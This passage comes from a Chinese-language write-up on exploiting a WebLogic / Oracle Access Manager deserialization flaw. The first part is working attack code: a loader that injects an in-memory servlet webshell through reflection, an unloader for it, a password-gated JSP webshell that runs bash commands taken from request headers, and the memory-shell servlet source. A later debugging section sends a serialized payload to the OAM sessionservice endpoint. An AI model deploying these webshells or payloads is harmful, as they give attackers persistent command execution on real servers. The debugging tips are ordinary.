wAXWRkFtwAYv7EAAQAuAGIAZQAWAAIAHgAAACYACQAAAAoACQALABMADQAuABIARwATAGIAFgBlABQAZwAVAHEAFwAfAAAASAAHAEcAGwAkACUABQBnAAoAJgAnAAUAAAByACAAbQAAAAAAcgAoACkAAQAAAHIAKgArAAIACQBpACwALQADAC4ARAAuAC8ABAABADAAAAACADE=";
            byte[] code=Base64.getDecoder().decode(pers_neo_memsHttpServlet_bytecodestr);
            Method defineClass=ClassLoader.class.getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            try{//in case we may want to replay memsi request
                memsHttpServlet=(Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),code,0,code.length);
            }catch (InvocationTargetException e){
                memsHttpServlet=Class.forName("pers.neo.memsHttpServletb");
            }
            HttpServlet httpServlet=(HttpServlet)memsHttpServlet.newInstance();


            ContainerSupportProviderImpl.WlsRequestExecutor gcw = (ContainerSupportProviderImpl.WlsRequestExecutor) ((ExecuteThread) Thread.currentThread()).getCurrentWork();
            field = gcw.getClass().getDeclaredField("connectionHandler");
            field.setAccessible(true);
            httpConn = (HttpConnectionHandler) field.get(gcw);

            // 获取servletContext
            WebAppServletContext servletContext = httpConn.getServletRequest().getContext();
            // 获取servletMapping
            Method getServletMapping = servletContext.getClass().getDeclaredMethod("getServletMapping");
            getServletMapping.setAccessible(true);
            ServletMapping mappings = (ServletMapping) getServletMapping.invoke(servletContext);

            // 使用ServletStub包装HttpServlet
            Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, Servlet.class, WebAppServletContext.class);
            ServletStubImplConstructor.setAccessible(true);
            ServletStubImpl servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, httpServlet, servletContext);

            // 使用URLMathchHelper包装ServletStub
            Constructor<?> URLMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, ServletStubImpl.class);
            URLMatchHelperConstructor.setAccessible(true);
            Object umh = URLMatchHelperConstructor.newInstance(URI, servletStub);


            ServletResponseImpl resp = httpConn.getServletRequest().getResponse();
            ServletOutputStreamImpl sos = resp.getServletOutputStream();
            sos.write(String.valueOf(mappings.size()).getBytes());

            // 添加到ServletMapping中,即代表注入servlet内存马成功
            if (mappings.get(URI) == null){
                mappings.put(URI, umh);
            }

            sos.write("==\n".getBytes());
            sos.write(String.valueOf(mappings.size()).getBytes());
            sos.flush();
        } catch (Exception e) {
            e.printStackTrace();
            throw new RuntimeException(e);
        }
    }
}

参考阅读

memsd.java:卸载内存马

注意点

  1. 因为我们在加载自定义httpservlet字节码的时候做了try catch处理,所以可以任意卸载内存马并重新加载。否则的话卸载后需要给httpservlet换一个类名才能加载。
  2. 所谓卸载只是将路由去掉,内存中还是存在恶意类的。需要重启JVM才能完全清理。

最终效果

image-20220704174306916

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package pers.neo;

import weblogic.servlet.internal.*;
import weblogic.servlet.provider.ContainerSupportProviderImpl;
import weblogic.servlet.utils.ServletMapping;
import weblogic.work.ExecuteThread;

import java.lang.reflect.Method;

public class memsd {
    public memsd(){
        String URI = "/pages/css/bluecameby1";
        java.lang.reflect.Field field = null;
        HttpConnectionHandler httpConn = null;
        try {
            ContainerSupportProviderImpl.WlsRequestExecutor gcw = (ContainerSupportProviderImpl.WlsRequestExecutor) ((ExecuteThread) Thread.currentThread()).getCurrentWork();
            field = gcw.getClass().getDeclaredField("connectionHandler");
            field.setAccessible(true);
            httpConn = (HttpConnectionHandler) field.get(gcw);
            // 获取servletContext
            WebAppServletContext servletContext = httpConn.getServletRequest().getContext();
            // 获取servletMapping
            Method getServletMapping = servletContext.getClass().getDeclaredMethod("getServletMapping");
            getServletMapping.setAccessible(true);
            ServletMapping mappings = (ServletMapping) getServletMapping.invoke(servletContext);

            ServletResponseImpl resp = httpConn.getServletRequest().getResponse();
            ServletOutputStreamImpl sos = resp.getServletOutputStream();
            sos.write(String.valueOf(mappings.size()).getBytes());

            //delete pattern from mapping
            if (mappings.get(URI) != null){
                mappings.removePattern(URI);
            }

            sos.write("==\n".getBytes());
            sos.write(String.valueOf(mappings.size()).getBytes());
            sos.flush();

        } catch (Exception e) {
            e.printStackTrace();
            throw new RuntimeException(e);
        }
    }
}

无回显执行命令

回显执行命令

注入内存马

卸载/更新内存马

机器不出网时复用DNS隧道反弹shell

横向攻击内网Redis

一些木马

普通JSP木马

通过请求头传递密码和命令,通过响应打印命令执行的结果。

1
<% if("p4ssw0rd!".equals(request.getHeader("x-forwarded-fur"))){ java.io.InputStream in = Runtime.getRuntime().exec(new String[]{"bash","-c",request.getHeader("x-forwarded-far")}).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

加密流量JSP木马

待需要时实现。思路很简单,只要将异或、base64编码、rot13、AES加密等的进行排列组合即可。

普通内存马

通过请求头传递密码和命令,通过响应打印命令执行的结果。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package pers.neo;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class memsHttpServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
        String passwd=req.getHeader("x-forwarded-fur");
        if(!"p4ssw0rd!".equals(passwd)){return;}
        String[] cmdarray=new String[]{"bash","-c",req.getHeader("x-forwarded-far")};
        try {
            java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmdarray).getInputStream()).useDelimiter("\\A");
            resp.getWriter().write(s.hasNext() ? s.next() : "");
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
        return;
    }
}

加密流量内存马

待需要时实现。思路很简单,只要将异或、base64编码、rot13、AES加密等的进行排列组合即可。

修复

调试技巧和常见问题

这是笔者第一次相对深入地调试和利用实用的反序列化漏洞,在这个过程中领悟或学习到了一些有用的知识、方法和技巧,一并总结在此,以飨有需要的读者。

重置到调用栈某个栈帧

跟踪调试时有时会走过头,可以通过调用栈回溯来到之前的某个栈帧,恢复到当时的执行状态,重新分析。

回到上一级调用:

image-20220711094424698

回到之前任意一级的调用:

image-20220711094644529

有些版本的idea中这个功能通过点击栈信息前面的箭头实现:

image-20220711094835694

异常断点:如何应对从没有人遇到过的报错

调试有时候会走到人迹罕至的地方,如果遇到一个搜索引擎无法给出满意答复的报错(比如 java.lang.NoClassDefFoundError ),我们不知道是什么引起的,也不知道怎么解决。这个时候可以根据这个报错的异常信息下合适的异常断点,然后复现报错,观察堆栈。

比如在调试分析->去除Remotable接口章节中,就是通过下异常断点 java.lang.NoClassDefFoundError 快速重现和分析报错的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
/**
 * Thrown if the Java Virtual Machine or a <code>ClassLoader</code> instance
 * tries to load in the definition of a class (as part of a normal method call
 * or as part of creating a new instance using the <code>new</code> expression)
 * and no definition of the class could be found.
 * <p>
 * The searched-for class definition existed when the currently
 * executing class was compiled, but the definition can no longer be
 * found.
 *
 * @author  unascribed
 * @since   JDK1.0
 */

条件断点:限制断点触发场景减少干扰信息

有些断点的触发频率非常高,并且大部分触发情况都并不是我们所关心的。这时可以使用条件断点来减少干扰信息。异常断点和方法断点都支持使用条件来筛选。

例如

1
2
3
4
断点
	java.lang.ClassNotFoundException
条件
	this.detailMessage.contains("internal.util.invoke.Remotable")

image-20220708172135011

Evaluate Expression功能

idea提供的Evaluate Expression功能(快捷键Alt+f8)可以让我们在调试的时候在当前上下文中执行一些Java代码,测试一些表达式并获得结果,观察一些变量的值,是一个非常有用的功能,本文已在多处展示了它的用法。

image-20220712114308548

如何确定JVM中是否加载了某个类?

反序列化gadget跳转有时会报找不到类的错误,这个错误往往是native层代码报出来的,不能非常明确认定是什么原因导致的,这是我们会想要知道JVM中是否加载了我们需要的类。一个很好用的工具是arthas,它允许我们attach到Java进程上并在其中探索,在JVM内存中进行有限制的增删改查。我们可以利用arthas来确定JVM中是否加载了某个类。

参考:https://arthas.aliyun.com/doc/en/quick-start.html

1
2
3
4
5
6
7
8
9
安装arthas:
docker exec -it oamms bash
curl -O https://arthas.aliyun.com/arthas-boot.jar
java -jar arthas-boot.jar

寻找JVM是否加载了类
sc -d com.tangosol.internal.util.invoke.RemoteConstructor 
sc -d *RemoteConstructor*
sc -d oracle.security.am.proxy.opensso.controller.OpenssoEngineController

image-20220707114733622

如何不调试查看服务端某方法的返回值?

除了查询JVM中已加载的类的信息外,arthas还有一些很棒的用法。

举个例子:在arthas终端执行以下命令,然后发送一个包含 oracle.security.am.proxy.opensso.session.utils.SessionID 对象的请求到 /oam/server/opensso/sessionservice 接口后,会打印出成功反序列化后的对象的信息。

执行命令:

1
watch oracle.security.am.proxy.opensso.controller.OpenssoEngineController unmarshal returnObj

发送请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
POST /oam/server/opensso/sessionservice HTTP/1.1
Host: 192.168.175.139:14100
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Connection: close
Accept-Language: zh-CN,zh;q=0.9
Content-Type: text/xml
Content-Length: 906

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<RequestSet vers="vers123" svcid="session" reqid="req_1">
 <Request dtdid="dtd1" sid="sid1"><![CDATA[
	<authIdentifier reqid="1" requester="b2JqZWN0OnJPMEFCWE55QURodmNtRmpiR1V1YzJWamRYSnBkSGt1WVcwdWNISnZlSGt1YjNCbGJuTnpieTV6WlhOemFXOXVMblYwYVd4ekxsTmxjM05wYjI1SlJLOGVKQWl5c3BxUUFnQUhXZ0FJYVhOUVlYSnpaV1JNQUFwamIyOXJhV1ZOYjJSbGRBQVRUR3BoZG1FdmJHRnVaeTlDYjI5c1pXRnVPMHdBRDJWdVkzSjVjSFJsWkZOMGNtbHVaM1FBRWt4cVlYWmhMMnhoYm1jdlUzUnlhVzVuTzB3QURXVjRkR1Z1YzJsdmJsQmhjblJ4QUg0QUFrd0FDbVY0ZEdWdWMybHZibk4wQUE5TWFtRjJZUzkxZEdsc0wwMWhjRHRNQUE5elpYTnphVzl1VTJWeWRtVnlTVVJ4QUg0QUFrd0FCSFJoYVd4eEFINEFBbmh3QUhCMEFBTnVaVzl3YzNJQUVXcGhkbUV1ZFhScGJDNUlZWE5vVFdGd0JRZmF3Y01XWU5FREFBSkdBQXBzYjJGa1JtRmpkRzl5U1FBSmRHaHlaWE5vYjJ4a2VIQS9RQUFBQUFBQUFIY0lBQUFBRUFBQUFBQjRkQUFBY0E9PQ==">
	<SessionID>123</SessionID>
	</authIdentifier>
	]]>
 </Request>
</RequestSet>

看到unmarshal方法返回的对象信息:

image-20220707113031957

相关代码块:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
// oracle.security.am.proxy.opensso.controller.OpenssoEngineController#unmarshal
private Object unmarshal(String requester) throws Exception {
        if (requester.startsWith("token:")) {
            return this.createSessionID(requester.substring("token:".length()));
        } else if (requester.startsWith("object:")) {
            ObjectInputStream is = null;

            try {
                is = new ObjectInputStream(new ByteArrayInputStream(Base64.decode(requester.substring("object:".length()))));
            } catch (IOException var4) {
                LOGGER.log(Level.WARNING, "Error in unmarshalling requester", var4);
            }

            return is.readObject();
        } else {
            throw new IllegalArgumentException("Bad context value:" + requester);
        }
    }

此外,如果需要观察 java.* 下的类,要先打开安全开关。比如查看从序列化数据中提取出来的类名:

1
2
options unsafe true
watch java.io.ObjectInputStream readClassDesc returnObj

image-20220707114454253

为何有时挂上调试后应用卡死?

有时候idea挂到webapp上面调试的时候,用burp发包,很久都没有响应,idea也没有捕获到断点。但如果把所有断点都失效,burp就马上有响应了。

这种情况可能是因为有断点下在了Java method中(即java.*下的代码),导致断点太经常被触发了。Idea在第一次下这种断点的时候也会有提示:Method breakpoints may dramatically slow down debugging

解决办法是把Java Method Breakpoints这类断点都先deactivate,先在java line breakpoint里面下断,跑起来断下来以后,再开启Javamethod breakpoints里面的断点。

image-20220324000143091

调试时无法进入java.*包中的代码?

如果调试进不去readOBject,需要在idea的debugger设置中去除不进入java.io.*类的选项。

image-20220630161455653

arthas附到Java进程后idea调试出问题

如果idea调试会出现各种奇怪的难以理解的问题,可以查看java web的日志看是否和arthas有关,可能是由于arthas在watch某些地方导致的,这时可以尝试先退出arthas,再调试。

image-20220707164507561

下断点显示灰色怎么办?

下断点显示灰色,提示 “no executable code found at line 46 in class java.io.ObjectOutputStream” 。

image-20220630161853774

image-20220630161858107

原因是idea中使用的JDK版本和远程服务器上使用的JDK版本不同导致源码行数对不上,比如在我的环境中,在oamms server中使用的是1.8.0_281,idea中使用的是1.8.0_333。

image-20220630162229668

image-20220630162253405

去下载完全相同的版本,从https://www.oracle.com/java/technologies/downloads/archive/

image-20220630164451670

进到 https://www.oracle.com/java/technologies/javase/javase8u211-later-archive-downloads.html

image-20220630164535064

下载jdk-8u281-linux-x64.tar.gz压缩包,在idea中加载JDK,然后就可以了。

关闭smart step into

有时idea会自动跳过某些代码,我们可以关闭smart step into让它如实执行指令。

image-20220630225616330

比较字节流

有时需要比较两个字节流是否完全一致,可以使用MD5值来比较

在idae的evaluate功能中执行。(快捷键:alt+f8)

1
2
new java.math.BigInteger(1,java.security.MessageDigest.getInstance("MD5").digest(constructor.m_definition.m_abClass)).toString(16)
new java.math.BigInteger(1,java.security.MessageDigest.getInstance("MD5").digest(abClass)).toString(16)

能从jvm卸载一个类/加载一个类的新版本吗?

不行。参考:

There is no way to force1 a class to unload. And unless the old class is unloaded, there is no way to load a new version of a class into the same classloader. (That is because the true identity of a class is a tuple comprising the fully qualified name of the class and the class loader identity.)

The solution is to load the new version of the class in a new classloader.

It is not clear if this will be practical for you, but unfortunately it is the only option available. The JVM does the “duplicate class definition” checks in a way that you can’t subvert it. The check has security and JVM stability implications.

——https://stackoverflow.com/questions/34414906/classloading-using-different-versions-of-the-same-class-java-lang-linkageerror

如何知道恶意代码是否被执行了?

最开始想的是在oamms中新建文件 /tmp/cve/12345.sh ,在序列化静态方法中执行这个文件,然后监控access time,如果改动,说明调用到了命令。

1
2
3
root@ubuntu:~# docker exec -it oamms bash -c "stat /tmp/cve/12345.sh" |grep "Access: 2022" >> /tmp/touchflag.time
root@ubuntu:~# cat /tmp/touchflag.time 
Access: 2022-06-30 03:28:06.663982304 +0000

但实际上这是个坑,Java代码执行到这个文件也不会改变stat。

最好是挂上调试,下合适的断点,执行流是否走到我们关心的地方就一清二楚了。

在最终的恶意代码中弹计算器,然后把断点下在 java.lang.Runtime#exec(java.lang.String) 或者 java.lang.Runtime#getRuntime() ,可以非常清楚知道静态代码有没有被成功执行,还能非常清晰地打出整个过程的调用栈。

image-20220630233819085

java.lang.Runtime#exec(java.lang.String)

image-20220630234020774

如何保持良好的心态?

  • 不要愤怒,不要着急,在计算机世界里面,如果哪里出错了,那么一定是你出错了,不会是计算机。

遗留问题:如何跟踪native调用的进出?

在进入defineClass的rabbit hole 的时候,我意识到,有些地方,如果没有下断点,是会直接跳过的,F7也没有用,关闭idea的smart step into也没有用。比如native函数defineClass1跳出来到transform,又跳回去,然后又出来到RemotableSupport对象的loadClass方法,如果不是我根据错误堆栈在这里下断点,就会直接跳走,我就不会观察到这个现象。又有多少因为我没有下断点而无法观察到的过程呢?怎么解决这个问题,只有解决了这个问题,才能完整跟踪到native函数回调了哪些java层的函数。

也就是说,动态调试时,当执行流进入native调用就容易跟丢,native调用时还可能在Java和native之间反复跳转,如果没有合适的断点,就会错过很多逻辑,是否有什么方式可以监控native调用的进出点,精准地监视跳转边界,完整地观察到native层调用过程和Java层的交互。还没有找到有效的办法,如果有好主意请联系我。

扩展阅读